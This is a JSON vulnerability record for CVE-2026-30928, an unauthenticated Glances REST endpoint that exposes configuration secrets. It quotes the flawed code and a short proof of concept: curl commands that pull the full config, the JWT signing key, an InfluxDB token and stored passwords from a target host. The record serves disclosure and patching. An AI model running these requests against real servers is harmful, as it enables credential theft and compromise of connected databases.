{"id":"CVE-2026-30928","aliases":["GHSA-gh4x-f7cq-wwx6","PYSEC-2026-2164"],"title":"Glances Exposes Unauthenticated Configuration Secrets","summary":"Glances Exposes Unauthenticated Configuration Secrets","severity":"high","vendor":"glances","product":"glances","ecosystem":"pip","affected":["glances < 4.5.1"],"patched":["glances 4.5.1"],"published":"2026-03-09","updated":"2026-07-13","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-gh4x-f7cq-wwx6","references":[{"url":"https://github.com/nicolargo/glances/security/advisories/GHSA-gh4x-f7cq-wwx6"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-30928"},{"url":"https://github.com/nicolargo/glances/commit/306a7136154ba5c1531489c99f8306d84eae37da"},{"url":"https://github.com/nicolargo/glances"},{"url":"https://github.com/nicolargo/glances/releases/tag/v4.5.1"}],"tags":["osv","pip","exploit-available"],"epss":0.01657,"epssPercentile":0.75562,"ingestedAt":"2026-07-13T18:57:58.437Z","exploits":{"nuclei":["CVE-2026-30928"],"checkedAt":"2026-09-23T07:13:58.182Z"},"exploitAvailable":true,"slug":"CVE-2026-30928","body":"## Overview\n\n### Summary\nThe /api/4/config REST API endpoint returns the entire parsed Glances configuration file (glances.conf) via self.config.as_dict() with no filtering of sensitive values. The configuration file contains credentials for all configured backend services including database passwords, API tokens, JWT signing keys, and SSL key passwords.\n\n### Details\nRoot Cause: The as_dict() method in config.py iterates over every section and every key in the ConfigParser and returns them all as a flat dictionary. No sensitive key filtering or redaction is applied.\n\nAffected Code:\n- _File: glances/outputs/glances_restful_api.py, lines 1154-1167_\n```\ndef _api_config(self):\n    \"\"\"Glances API RESTful implementation.\n\n    Return the JSON representation of the Glances configuration file\n    HTTP/200 if OK\n    HTTP/404 if others error\n    \"\"\"\n    try:\n        # Get the RAW value of the config' dict\n        args_json = self.config.as_dict()  # <-- Returns ALL config including secrets\n    except Exception as e:\n        raise HTTPException(status.HTTP_404_NOT_FOUND, f\"Cannot get config ({str(e)})\")\n    else:\n        return GlancesJSONResponse(args_json)\n```\n\n- _File: glances/config.py, lines 280-287_\n```\ndef as_dict(self):\n    \"\"\"Return the configuration as a dict\"\"\"\n    dictionary = {}\n    for section in self.parser.sections():\n        dictionary[section] = {}\n        for option in self.parser.options(section):\n            dictionary[section][option] = self.parser.get(section, option)  # No filtering\n    return dictionary\n```\n- _File: glances/outputs/glances_restful_api.py, lines 472-475 (authentication bypass)_\n```\nif self.args.password:\n    router = APIRouter(prefix=self.url_prefix, dependencies=[Depends(self.authentication)])\nelse:\n    router = APIRouter(prefix=self.url_prefix)  # No authentication!\n```\n### PoC\n- Start Glances in default webserver mode:\n```\nglances -w\n# Glances web server started on http://0.0.0.0:61208/\n```\n- From any network-reachable host, retrieve all configuration secrets:\n```\n# Get entire config including all credentials\ncurl http://target:61208/api/4/config\n```\nStep 3: Extract specific secrets:\n```\n# Get JWT secret key for token forgery\ncurl http://target:61208/api/4/config/outputs/jwt_secret_key\n\n# Get InfluxDB token\ncurl http://target:61208/api/4/config/influxdb2/token\n\n# Get all stored server passwords\ncurl http://target:61208/api/4/config/passwords\n```\n### Impact\nFull Infrastructure Compromise: Database credentials (InfluxDB, MongoDB, PostgreSQL/TimescaleDB, CouchDB, Cassandra) allow direct access to all connected backend data stores.\n\n## Affected packages\n\n- `glances < 4.5.1`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `glances 4.5.1`","depth":"midnight","depthScore":54,"depthScoreParts":{"impact":41.3,"likelihood":0.3,"exploitation":12,"ransomware":0},"changes":[{"seq":5070,"id":"CVE-2026-30928","ts":1788887242516,"field":"exploit_available","old":"false","new":"true"},{"seq":3953,"id":"CVE-2026-30928","ts":1788886363091,"field":"exploit_available","old":"true","new":"false"},{"seq":2774,"id":"CVE-2026-30928","ts":1788883029197,"field":"exploit_available","old":"false","new":"true"},{"seq":1803,"id":"CVE-2026-30928","ts":1788882432726,"field":"exploit_available","old":"true","new":"false"},{"seq":909,"id":"CVE-2026-30928","ts":1788881866192,"field":"exploit_available","old":"false","new":"true"}]}